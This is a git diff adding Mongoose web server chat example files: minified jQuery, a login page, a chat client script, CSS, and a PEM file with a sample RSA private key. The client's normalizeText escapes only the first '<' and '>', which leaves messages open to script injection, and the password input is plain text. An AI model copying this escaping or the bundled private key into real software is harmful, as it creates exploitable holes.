+"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("<div />").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},
+serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),
+function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,
+global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&
+e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?
+"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===
+false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=
+false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",
+c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||
+d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);
+g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===
+1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b===
+"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;
+if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");
+this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(la[d])f=la[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],
+"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},
+animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var j=c.extend({},e),i,o=this.nodeType===1&&c(this).is(":hidden"),k=this;for(i in a){var n=i.replace(ia,ja);if(i!==n){a[n]=a[i];delete a[i];i=n}if(a[i]==="hide"&&o||a[i]==="show"&&!o)return j.complete.call(this);if((i==="height"||i==="width")&&this.style){j.display=c.css(this,"display");j.overflow=this.style.overflow}if(c.isArray(a[i])){(j.specialEasing=
+j.specialEasing||{})[i]=a[i][1];a[i]=a[i][0]}}if(j.overflow!=null)this.style.overflow="hidden";j.curAnim=c.extend({},a);c.each(a,function(r,u){var z=new c.fx(k,j,r);if(Ab.test(u))z[u==="toggle"?o?"show":"hide":u](a);else{var C=Bb.exec(u),B=z.cur(true)||0;if(C){u=parseFloat(C[2]);var E=C[3]||"px";if(E!=="px"){k.style[r]=(u||1)+E;B=(u||1)/z.cur(true)*B;k.style[r]=B+E}if(C[1])u=(C[1]==="-="?-1:1)*u+B;z.custom(B,u,E)}else z.custom(B,u,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);
+this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration===
+"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||
+c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;
+this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=
+this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,
+e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||
+c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in s.documentElement?
+function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=
+this[0];if(a)return this.each(function(r){c.offset.setOffset(this,a,r)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=b,e=b.ownerDocument,j,i=e.documentElement,o=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var k=b.offsetTop,n=b.offsetLeft;(b=b.parentNode)&&b!==o&&b!==i;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;j=e?e.getComputedStyle(b,null):b.currentStyle;
+k-=b.scrollTop;n-=b.scrollLeft;if(b===d){k+=b.offsetTop;n+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&j.overflow!=="visible"){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=j}if(f.position==="relative"||f.position==="static"){k+=o.offsetTop;n+=o.offsetLeft}if(c.offset.supportsFixedPosition&&
+f.position==="fixed"){k+=Math.max(i.scrollTop,o.scrollTop);n+=Math.max(i.scrollLeft,o.scrollLeft)}return{top:k,left:n}};c.offset={initialize:function(){var a=s.body,b=s.createElement("div"),d,f,e,j=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
+a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);
+c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,
+d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-
+f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":
+"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in
+e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);
diff --git a/mongoose/examples/html/login.html b/mongoose/examples/html/login.html
new file mode 100644
index 0000000..38dcc89
--- /dev/null
+++ b/mongoose/examples/html/login.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr">
+ <!-- This file is part of the Mongoose project,
+ http://code.google.com/p/mongoose -->
+ <head>
+ <title>Mongoose chat: login</title>
+ <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+ <!--
+ Note that this page is self-sufficient, it does not load any other
+ CSS or Javascript file. This is done so because only this page is
+ allowed for non-authorized users. If we want to load other files
+ from the frontend, we need to change backend code to allow those
+ for non-authorized users. See chat.c :: must_authorize() function.
+ -->
+ </head>
+
+ <script>
+ window.onload = function() {
+ // Set correct action for the login form. We assume that the SSL port
+ // is the next one to insecure one.
+ var httpsPort = location.protocol.match(/https/) ? location.port :
+ parseInt(location.port) + 1;
+ document.forms[0].action = 'https://' + location.hostname + ':' +
+ httpsPort + '/authorize';
+ };
+ </script>
+
+ <body>
+ <center>
+ <h2>Mongoose chat server login</h2>
+ <div style="max-width: 30em;">
+ Username and password can be any non-empty strings.
+ </div>
+ <br/>
+ <form>
+ <input type="text" name="user"></input><br/>
+ <input type="text" name="password"></input><br/>
+ <input type="submit" value="Login"></input>
+ </form>
+ </center>
+ </body>
+</html>
diff --git a/mongoose/examples/html/logo.png b/mongoose/examples/html/logo.png
new file mode 100644
index 0000000..8a47c0a
--- /dev/null
+++ b/mongoose/examples/html/logo.png
Binary files differ
diff --git a/mongoose/examples/html/main.js b/mongoose/examples/html/main.js
new file mode 100644
index 0000000..ed851cd
--- /dev/null
+++ b/mongoose/examples/html/main.js
@@ -0,0 +1,99 @@
+// This file is part of Mongoose project, http://code.google.com/p/mongoose
+
+var chat = {
+ // Backend URL, string.
+ // 'http://backend.address.com' or '' if backend is the same as frontend
+ backendUrl: '',
+ maxVisibleMessages: 10,
+ errorMessageFadeOutTimeoutMs: 2000,
+ errorMessageFadeOutTimer: null,
+ lastMessageId: 0,
+ getMessagesIntervalMs: 1000,
+};
+
+chat.normalizeText = function(text) {
+ return text.replace('<', '&lt;').replace('>', '&gt;');
+};
+
+chat.refresh = function(data) {
+ $.each(data, function(index, entry) {
+ var row = $('<div>').addClass('message-row').appendTo('#mml');
+ var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
+ $('<span>')
+ .addClass('message-timestamp')
+ .html('[' + timestamp + ']')
+ .prependTo(row);
+ $('<span>')
+ .addClass('message-user')
+ .addClass(entry.user ? '' : 'message-user-server')
+ .html(chat.normalizeText((entry.user || '[server]') + ':'))
+ .appendTo(row);
+ $('<span>')
+ .addClass('message-text')
+ .addClass(entry.user ? '' : 'message-text-server')
+ .html(chat.normalizeText(entry.text))
+ .appendTo(row);
+ chat.lastMessageId = Math.max(chat.lastMessageId, entry.id) + 1;
+ });
+
+ // Keep only chat.maxVisibleMessages, delete older ones.
+ while ($('#mml').children().length > chat.maxVisibleMessages) {
+ $('#mml div:first-child').remove();
+ }
+};
+
+chat.getMessages = function() {
+ $.ajax({
+ dataType: 'jsonp',
+ url: chat.backendUrl + '/ajax/get_messages',
+ data: {last_id: chat.lastMessageId},
+ success: chat.refresh,
+ error: function() {
+ },
+ });
+ window.setTimeout(chat.getMessages, chat.getMessagesIntervalMs);
+};
+
+chat.handleMenuItemClick = function(ev) {
+ $('.menu-item').removeClass('menu-item-selected'); // Deselect menu buttons
+ $(this).addClass('menu-item-selected'); // Select clicked button
+ $('.main').addClass('hidden'); // Hide all main windows
+ $('#' + $(this).attr('name')).removeClass('hidden'); // Show main window
+};
+
+chat.showError = function(message) {
+ $('#error').html(message).fadeIn('fast');
+ window.clearTimeout(chat.errorMessageFadeOutTimer);
+ chat.errorMessageFadeOutTimer = window.setTimeout(function() {
+ $('#error').fadeOut('slow');
+ }, chat.errorMessageFadeOutTimeoutMs);
+};
+
+chat.handleMessageInput = function(ev) {
+ var input = ev.target;
+ if (ev.keyCode != 13 || !input.value)
+ return;
+ //input.disabled = true;
+ $.ajax({
+ dataType: 'jsonp',
+ url: chat.backendUrl + '/ajax/send_message',
+ data: {text: input.value},
+ success: function(ev) {
+ input.value = '';
+ input.disabled = false;
+ chat.getMessages();
+ },
+ error: function(ev) {
+ chat.showError('Error sending message');
+ input.disabled = false;
+ },
+ });
+};
+
+$(document).ready(function() {
+ $('.menu-item').click(chat.handleMenuItemClick);
+ $('.message-input').keypress(chat.handleMessageInput);
+ chat.getMessages();
+});
+
+// vim:ts=2:sw=2:et
diff --git a/mongoose/examples/html/style.css b/mongoose/examples/html/style.css
new file mode 100644
index 0000000..716351d
--- /dev/null
+++ b/mongoose/examples/html/style.css
@@ -0,0 +1,154 @@
+/*
+ * vim:ts=2:sw=2:et:ai
+ */
+
+body {
+ font: 13px Arial; margin: 0.5em 1em;
+}
+
+#logo {
+ background: url('logo.png') no-repeat ;
+ width: 160px;
+ height: 40px;
+ float: left;
+}
+
+td {
+ text-align: left;
+}
+
+#motd {
+ margin-left: 170px;
+}
+
+.infobox {
+ background: #eed;
+ padding: 1px 1em;
+}
+
+.help-message {
+ color: #aaa;
+}
+
+#middle {
+ margin: 0.5em 0;
+}
+
+#error {
+ background: #c44;
+ color: white;
+ font-weight: bold;
+}
+
+#content, .menu-item-selected, .chat-title, .chat-content {
+ background: #c3d9ff;
+}
+
+#content {
+ overflow: hidden;
+ min-height: 7em;
+ padding: 1em;
+}
+
+.chat-title {
+ padding: 1px 1ex;
+}
+
+.chat-content {
+ padding: 1ex;
+}
+
+.chat-window {
+}
+
+.message-row {
+ margin: 2px;
+ border-bottom: 1px solid #bbb;
+}
+
+.message-timestamp {
+ color: #484;
+}
+
+.message-user {
+ margin-left: 0.5em;
+ font-weight: bold;
+}
+
+.message-text {
+ margin-left: 0.5em;
+}
+
+.message-user-server {
+ color: purple;
+}
+
+.message-text-server {
+ font-style: italic;
+}
+
+.main {
+ padding: 0.5em;
+ background: #f0fcff;
+}
+
+#menu {
+ margin-top: 1em;
+ min-width: 7em;
+ float: left;
+}
+
+#footer {
+ position: fixed;
+ bottom: 0;
+ right: 0;
+ color: #ccc;
+ padding: 0.5em;
+}
+
+.section {
+ clear: both;
+}
+
+.hidden {
+ display: none;
+}
+
+.menu-item {
+ cursor: pointer;
+ padding: 0.1em 0.5em;
+}
+
+.menu-item-selected {
+ font-weight: bold;
+}
+
+.message-list {
+ min-height: 1em;
+ background: white;
+ margin: 0.5em 0;
+}
+
+.rounded {
+ border-radius: 6px;
+ -moz-border-radius: 6px;
+ -webkit-border-radius: 6px;
+}
+
+.left-rounded {
+ border-radius: 6px 0 0 6px;
+ -moz-border-radius: 6px 0 0 6px;
+ -webkit-border-radius: 6px 0 0 6px;
+}
+
+.bottom-rounded {
+ border-radius: 0 0 6px 6px;
+ -moz-border-radius: 0 0 6px 6px;
+ -webkit-border-radius: 0 0 6px 6px;
+}
+
+.top-rounded {
+ border-radius: 6px 6px 0 0;
+ -moz-border-radius: 6px 6px 0 0;
+ -webkit-border-radius: 6px 6px 0 0;
+}
diff --git a/mongoose/examples/ssl_cert.pem b/mongoose/examples/ssl_cert.pem
new file mode 100644
index 0000000..f7e15a0
--- /dev/null
+++ b/mongoose/examples/ssl_cert.pem
@@ -0,0 +1,50 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
+EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
+di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
+Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
+gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
+HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
+trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
+x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
+SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
++LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
+N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
+to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
+BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
+WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
+Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
++AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
+kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
+g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
+qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
+d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
+iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
+BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
+ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
+hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+-----END RSA PRIVATE KEY-----
+-----BEGIN CERTIFICATE-----
+MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
+cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
